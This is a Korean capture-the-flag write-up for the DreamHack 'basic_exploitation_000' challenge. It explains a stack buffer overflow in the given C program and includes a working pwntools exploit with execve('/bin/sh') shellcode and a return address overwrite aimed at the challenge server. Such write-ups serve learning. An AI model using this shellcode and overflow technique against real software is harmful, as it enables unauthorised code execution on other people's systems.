Pwnable/DreamHack

[Dreamhack] basic_exploitaion_000 Writeup

프레딕 2024. 9. 6. 00:07
728x90

간단하게 작성하겠다.

 

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}


int main(int argc, char *argv[]) {

    char buf[0x80];

    initialize();
    
    printf("buf = (%p)\n", buf);
    scanf("%141s", buf);

    return 0;
}
0x70 + 0x04 = 0x74
102+4= 106

buf를 입력받는데 최대 141개를 받을 수 있다.

이때 buf의 크기가 0x80이므로 ret주소를 덮어쓸 수 있는데

gdb로 까보면 esp - 0x80을 하고 있기에 0x80+SFP(0x04) 뒤에 값이 ret값인걸 확인 가능하다.

이때 ret값을 buf로 맞춰주고 buf에다간 shellcode를 작성하면 shellcode를 실행 가능하다.

유의해야할점은 scanf에선 \x09, \x0a, \x0b, \x0c, \x0d, \x20 를 읽지 못하기에 이 문자들을 사용하지 않은 shellcode를 써야한다.

최종 poc코드는 아래와 같다.

from pwn import *
 
p = remote("host3.dreamhack.games", 16346)
 
p.recvuntil("buf = (")
 
buf_address = int(p.recv(10), 16)
 
code = b"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80"
code += b"A"*0x6a
 
code += p32(buf_address)
 
p.sendafter(')\n',code)
 
p.interactive()
728x90
반응형